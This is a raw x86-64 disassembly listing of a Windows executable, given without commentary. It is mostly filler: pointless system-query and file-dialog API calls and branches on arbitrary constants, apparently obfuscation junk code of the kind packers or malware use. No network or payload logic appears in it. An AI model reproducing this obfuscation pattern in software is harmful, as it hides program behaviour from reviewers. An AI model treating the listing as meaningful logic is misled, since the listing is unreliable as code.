movzx eax, word [rsp + 0x828]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x834]
mov rax, qword [rsp + 0x50f0]
movzx r8d, byte [rax]
mov rax, qword [rsp + 0x5170]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0x828]
call fcn.1400de920
nop
jmp 0x1400dcfd9
movsx eax, word [rsp + 0x830]
mov dword [rsp + 0x2014], eax
cmp dword [rsp + 0x2014], 0xfffff945
je 0x140005278
cmp dword [rsp + 0x2014], 0x1e7f
je 0x1400dce66
jmp 0x1400dcef2
lea rcx, [rsp + 0x1c3d0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x1f4c], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f8005]
sub eax, ecx
movzx ecx, byte [rsp + 0xe4]
movzx edx, byte [rsp + 0xe6]
sub ecx, edx
cmp eax, ecx
jg 0x14000538b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2018], eax
mov rax, qword [rsp + 0x4ce8]
mov qword [rsp + 0x5180], rax
movabs rax, 0x304152be33d25800
cmp qword [rsp + 0x5180], rax
je 0x1400052ee
jmp 0x140005347
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5000], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f6c], eax
mov dword [rsp + 0x201c], 0x1019d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5100], rax
mov dword [rsp + 0x2020], 0x4747
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f74], eax
mov dword [rsp + 0x2024], 0xd1f7
jmp 0x14000538b
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe4], al
call fcn.1400dd710
nop
movzx eax, byte [rsp + 0x79]
mov byte [rsp + 0xe7], al
movsx eax, word [0x1400f8f90]
movsx ecx, word [rsp + 0x838]
sub eax, ecx
movsx ecx, word [rsp + 0x830]
movsx edx, word [rsp + 0x83c]
add ecx, edx
cmp eax, ecx
je 0x1400dcdf5
mov eax, dword [rsp + 0x1f5c]
mov dword [rsp + 0x2028], eax
cmp dword [rsp + 0x2028], 0x38427509
je 0x1400053e2
jmp 0x14000549a
movsx eax, word [rsp + 0x83c]
mov dword [rsp + 0x202c], eax
cmp dword [rsp + 0x202c], 0x5400
je 0x140005400
jmp 0x140005431
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x1fd4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x1fa0], eax
lea rcx, [rsp + 0x16770]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x1f68], eax
jmp 0x140005495
mov eax, dword [rsp + 0x1f80]
movzx ecx, al
mov eax, dword [rsp + 0x1f5c]
shl eax, cl
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [0x1400f8004]
and eax, ecx
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x1fb0]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1fd4]
mov r8d, dword [rsp + 0x1fa0]
mov edx, dword [rsp + 0x1fd4]
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rax]
call fcn.1400de340
nop
jmp 0x1400dcdda
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x1fb0]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1fd4]
mov edx, dword [rsp + 0x1fa0]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jg 0x140005612
movzx eax, byte [rsp + 0xe4]
mov byte [rsp + 0x2030], al
cmp byte [rsp + 0x2030], 0
je 0x1400054f3
cmp byte [rsp + 0x2030], 0x4e
je 0x14000559d
jmp 0x14000560d
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
mov qword [rsp + 0x5188], rax
movabs rax, 0xbc8be0765a71b03
cmp qword [rsp + 0x5188], rax
je 0x140005586
movabs rax, 0x5d06082a57c67a4b
cmp qword [rsp + 0x5188], rax
je 0x140005530
jmp 0x14000559b
movzx eax, word [rsp + 0x828]
mov word [rsp + 0x840], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fe4], eax
lea rcx, [rsp + 0x12a88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x5060]
mov qword [0x1400f8f98], rax
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x83c]
add eax, ecx
mov word [rsp + 0x830], ax
jmp 0x14000559b
lea rcx, [rsp + 0x1c150]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x2034], eax
jmp 0x14000560d
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov dword [rsp + 0x2038], eax
cmp dword [rsp + 0x2038], 0x5ef608b9
je 0x1400055bd
jmp 0x1400055f8
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x840]
and eax, ecx
mov word [rsp + 0x834], ax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
jmp 0x14000560d
lea rcx, [rsp + 0x1c1f0]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x1f68], eax
jmp 0x1400056d2
movzx eax, word [rsp + 0x83c]
mov word [rsp + 0x838], ax
mov rax, qword [rsp + 0x5060]
mov qword [rsp + 0x5190], rax
movabs rax, 0x40d4d10cc59ddffe
cmp qword [rsp + 0x5190], rax
je 0x14000565c
movabs rax, 0x9b77094df9d59463
cmp qword [rsp + 0x5190], rax
je 0x1400056b1
jmp 0x1400056d2
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x50c0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1fd4]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x1fd4]
mov r8d, dword [rsp + 0x1fd4]
mov rax, qword [rsp + 0x5150]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x1fd4]
call fcn.1400de340
nop
jmp 0x1400056d2
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50b8], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5148], rax
lea rcx, [rsp + 0x1c510]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x2000], eax
lea rax, [rsp + 0x1fd4]
mov qword [rsp + 0x5198], rax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x203c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x5088]
mov qword [rsp + 0x51a0], rax
movabs rax, 0x5d06082a57c67a4b
cmp qword [rsp + 0x51a0], rax
je 0x14000575e
movabs rax, 0x7432d3308679e765
cmp qword [rsp + 0x51a0], rax
je 0x1400057af
jmp 0x1400058a8
mov dword [rsp + 0x169d0], 0x94
mov rax, qword [rsp + 0x50c0]
cqo
idiv qword [rsp + 0x4ce8]
mov qword [str.VZl9], rax
lea rcx, [rsp + 0x12a88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x828]
sar eax, cl
mov word [rsp + 0x82c], ax
jmp 0x1400058a8
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov dword [rsp + 0x2040], eax
cmp dword [rsp + 0x2040], 0xa8d296dd
je 0x1400057e3
cmp dword [rsp + 0x2040], 0xc5ab1407
je 0x140005889
jmp 0x1400058a8
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
lea rcx, [rsp + 0x1c290]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x2034], eax
mov rax, qword [rsp + 0x5178]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5128]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5178]
mov byte [rcx], al
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x838]
sub eax, ecx
mov word [rsp + 0x830], ax
lea rcx, [rsp + 0x1c330]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x1fb4], eax
jmp 0x1400058a8
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f5c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5088]
mov qword [rsp + 0x51a8], rax
mov rax, qword [rsp + 0x5158]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5080]
mov edx, dword [rsp + 0x1f5c]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jb 0x1400059b5
lea rcx, [rsp + 0x167f0]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x1ffc], eax
movzx eax, word [rsp + 0x834]
mov dword [rsp + 0x2044], eax
cmp dword [rsp + 0x2044], 0x2ff
je 0x1400059a4
cmp dword [rsp + 0x2044], 0x52f
je 0x14000592d
jmp 0x1400059b3
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x50e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5060], rax
movzx eax, word [rsp + 0x828]
mov dword [rsp + 0x2048], eax
cmp dword [rsp + 0x2048], 0x6a4
je 0x14000596c
jmp 0x140005984
lea rcx, [rsp + 0x16350]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x50a0], rax
jmp 0x1400059a2
mov r8, qword [rsp + 0x5060]
movzx edx, word [rsp + 0x838]
movzx ecx, word [rsp + 0x840]
call fcn.1400de040
nop
jmp 0x1400059b3
lea rax, [rsp + 0xe4]
mov qword [0x1400f8fa0], rax
jmp 0x1400059fb
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5080]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov ecx, dword [rsp + 0x1d64]
mov edx, dword [rsp + 0x1f80]
sub edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x1400059fb
mov rax, qword [rsp + 0x5198]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1fb0], eax
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov qword [rsp + 0x51b0], rax
movabs rax, 0x15d37d95b26d01c
cmp qword [rsp + 0x51b0], rax
je 0x140005a3f
movabs rax, 0x81da3e2adb7e16d5
cmp qword [rsp + 0x51b0], rax
je 0x140005abc
jmp 0x140005adb
lea rcx, [rsp + 0x163a0]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x5030], rax
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
movsx eax, word [0x1400f8f90]
movsx ecx, word [rsp + 0x838]
or eax, ecx
mov word [rsp + 0x830], ax
lea rcx, [rsp + 0x1c330]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x204c], eax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [0x1400f8005]
sar eax, cl
mov byte [rsp + 0xe6], al
jmp 0x140005adb
mov rax, qword [rsp + 0x5068]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
xor eax, ecx
mov rcx, qword [rsp + 0x5178]
mov byte [rcx], al
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
mov byte [rsp + 0x2050], al
cmp byte [rsp + 0x2050], 0
je 0x140005afc
jmp 0x1400dcb2e
movzx eax, byte [0x1400f8004]
mov byte [rsp + 0x2054], al
cmp byte [rsp + 0x2054], 0xff
je 0x140005b27
cmp byte [rsp + 0x2054], 0x3f
je 0x140005ba7
jmp 0x140005d0e
movsx eax, word [rsp + 0x838]
movsx ecx, word [rsp + 0x830]
or eax, ecx
mov word [rsp + 0x83c], ax
mov rax, qword [rsp + 0x5168]
mov rcx, qword [0x1400f8f98]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov dword [rsp + 0x2058], eax
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5088]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x51a8], rax
lea rcx, [rsp + 0x12a58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
jmp 0x140005d0e
mov rax, qword [rsp + 0x5128]
movzx eax, byte [rax]
mov byte [rsp + 0x205c], al
cmp byte [rsp + 0x205c], 0x2f
je 0x140005bc8
jmp 0x140005cd0
lea rax, [rsp + 0x51b8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x51c0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x51c8]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x5110]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x51d0]
mov r8, qword [rsp + 0x51d8]
mov rdx, qword [rsp + 0x51c8]
mov ecx, 0x3f
call sub.VERSION.dll_VerInstallFileA
mov dword [rsp + 0x203c], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1f80]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1d64], eax
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov dword [rsp + 0x2060], eax
cmp dword [rsp + 0x2060], 0x2f54d836
je 0x140005c6c
cmp dword [rsp + 0x2060], 0x67e843e6
je 0x140005cb8
jmp 0x140005cce
lea r9, [rsp + 0x2064]
lea r8, [rsp + 0x838]
mov rdx, qword [rsp + 0x51e0]
lea rcx, [rsp + 0x164a0]
call sub.VERSION.dll_VerQueryValueA
mov dword [rsp + 0x2068], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [0x1400f8005]
sub eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
jmp 0x140005cce
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0x79]
add eax, ecx
mov byte [rsp + 0xe7], al
jmp 0x140005d0e
mov rax, qword [rsp + 0x5198]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x5198]
mov r9d, dword [rax]
mov rax, qword [rsp + 0x5150]
mov r8d, dword [rax]
mov rax, qword [rsp + 0x5198]
mov edx, dword [rax]
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rax]
call fcn.1400de340
nop
cmp dword [rsp + 0x2020], 0x6d5d
je 0x140006203
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5088]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x203c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5080]
mov dword [rcx], eax
lea rcx, [rsp + 0x5048]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x828]
add eax, ecx
mov word [rsp + 0x840], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f6c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1fdc], eax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x5088]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe4]
add eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x50b8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5158]
mov qword [rsp + 0x51e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x51e8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1f80], eax
movzx eax, word [0x1400f8f90]
mov word [rsp + 0x838], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x51f0], rax
lea rcx, [rsp + 0x1c470]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x1f4c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5038], rax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0x79]
sar eax, cl
mov byte [rsp + 0xe7], al
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x830]
xor eax, ecx
mov word [rsp + 0x838], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f74], eax
mov rax, qword [rsp + 0x5178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
or eax, ecx
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0x50f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
and eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
mov rax, qword [rsp + 0x5118]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x206c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x1f88], eax
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x4ce8]
sub rcx, rax
mov rax, rcx
mov qword [str.VZl9], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f54], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x1f58], eax
mov eax, dword [rsp + 0x2020]
add eax, 0x82
mov dword [rsp + 0x2020], eax
mov eax, dword [rsp + 0x1fb0]
mov ecx, dword [rsp + 0x2058]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fd4], eax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f5c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5150]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2058]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [0x1400f8005]
add eax, ecx
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0x79]
mov rcx, qword [rsp + 0x5068]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0xe4]
mov rcx, qword [0x1400f8fa0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x83c]
movsx ecx, word [rsp + 0x830]
sar eax, cl
mov word [rsp + 0x838], ax
mov rax, qword [rsp + 0x50b8]
mov rcx, qword [rsp + 0x5060]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5088]
mov rcx, qword [rsp + 0x5170]
mov qword [rsp + 0x51f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x51f8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1d64]
mov ecx, dword [rsp + 0x1f5c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f80], eax
movsx eax, byte [rsp + 0xe5]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movzx eax, byte [0x1400f8005]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
movzx eax, word [rsp + 0x834]
movzx ecx, word [rsp + 0x840]
add eax, ecx
mov word [rsp + 0x828], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x5198]
mov ecx, dword [rsp + 0x1fd4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x5150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5080]
mov ecx, dword [rsp + 0x1d64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f5c], eax
mov rax, qword [rsp + 0x5078]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x50c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x50e8]
mov rcx, qword [rsp + 0x5060]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5010], rax
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x840]
xor eax, ecx
mov word [rsp + 0x828], ax
movsx eax, word [rsp + 0x830]
movsx ecx, word [rsp + 0x838]
sar eax, cl
mov word [rsp + 0x83c], ax
jmp 0x140005d0e
lea rax, [rsp + 0xe4]
mov qword [rsp + 0x5200], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x2070], eax
mov dword [rsp + 0x2074], 0xaf78
lea rax, [rsp + 0xe7]
mov qword [rsp + 0x5208], rax
cmp dword [rsp + 0x1f60], 0xb3fd
jbe 0x1400065c7
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x50c8], rax
movzx eax, word [rsp + 0x840]
movzx ecx, word [rsp + 0x82c]
or eax, ecx
mov word [rsp + 0x828], ax
mov rax, qword [rsp + 0x4ce8]
mov rcx, qword [rsp + 0x5170]
mov qword [rsp + 0x5210], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5210]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x51a8], rax
mov rax, qword [rsp + 0x5118]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5060]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x4ce8]
mov rax, qword [rax]
sub rax, rcx
mov qword [str.VZl9], rax
mov rax, qword [rsp + 0x5080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1d64]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5158]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0x1fc8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x206c], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x1f90], eax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0xe7]
add eax, ecx
mov byte [rsp + 0xe5], al
mov dword [rsp + 0x16a70], 0x94
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x5078]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fdc], eax
lea rcx, [rsp + 0x5048]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x5108], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x5038], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2078], eax
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x828]
add eax, ecx
mov word [rsp + 0x834], ax
mov rax, qword [rsp + 0x5128]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe5]
and eax, ecx
mov byte [rsp + 0xe7], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1f6c], eax
movzx eax, byte [rsp + 0xe6]
mov rcx, qword [rsp + 0x5078]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x5168]
mov rcx, qword [rsp + 0x50b8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5060], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2070], eax
mov eax, dword [rsp + 0x1fb0]
mov ecx, dword [rsp + 0x1fa0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2058], eax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0xe6]
or eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x1f90], eax
mov rax, qword [rsp + 0x5170]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4ce8]
shl rax, cl
mov qword [rsp + 0x5088], rax
mov eax, dword [rsp + 0x1f60]
sub eax, 0x54
mov dword [rsp + 0x1f60], eax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x50c0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x828]
sar eax, cl
mov word [rsp + 0x840], ax
mov rax, qword [rsp + 0x5170]
mov rcx, qword [rsp + 0x5088]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x5170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5198]
mov ecx, dword [rsp + 0x1fa0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5198]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5200]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x50f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5200]
mov byte [rcx], al
mov rax, qword [rsp + 0x50c0]
mov rcx, qword [rsp + 0x4ce8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x51a8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x207c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x207c], eax
mov eax, dword [rsp + 0x1f80]
mov ecx, dword [rsp + 0x1f5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1d64], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x5148], rax
mov rax, qword [rsp + 0x5200]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe6]
add eax, ecx
mov rcx, qword [0x1400f8fa0]
mov byte [rcx], al
jmp 0x14000623b
movzx eax, word [rsp + 0x82c]
movzx ecx, word [rsp + 0x840]
sub eax, ecx
movzx ecx, word [rsp + 0x828]
movzx edx, word [rsp + 0x834]
and ecx, edx
cmp eax, ecx
jge 0x140006648
lea r9, [rsp + 0x834]
lea r8, [rsp + 0x5020]
mov edx, 0xcb
mov ecx, 0x66
call qword [sym.imp.SHELL32.dll_SHChangeNotify]
mov rax, qword [rsp + 0x50b8]
mov rcx, qword [rsp + 0x5060]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x5010], rax
movzx edx, word [rsp + 0x834]
mov rcx, qword [rsp + 0x5060]
call fcn.1400dda10
nop
jmp 0x140006722
movzx eax, byte [rsp + 0xe6]
movzx ecx, byte [rsp + 0xe4]
sar eax, cl
mov rcx, qword [rsp + 0x50f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5158]
mov eax, dword [rax]
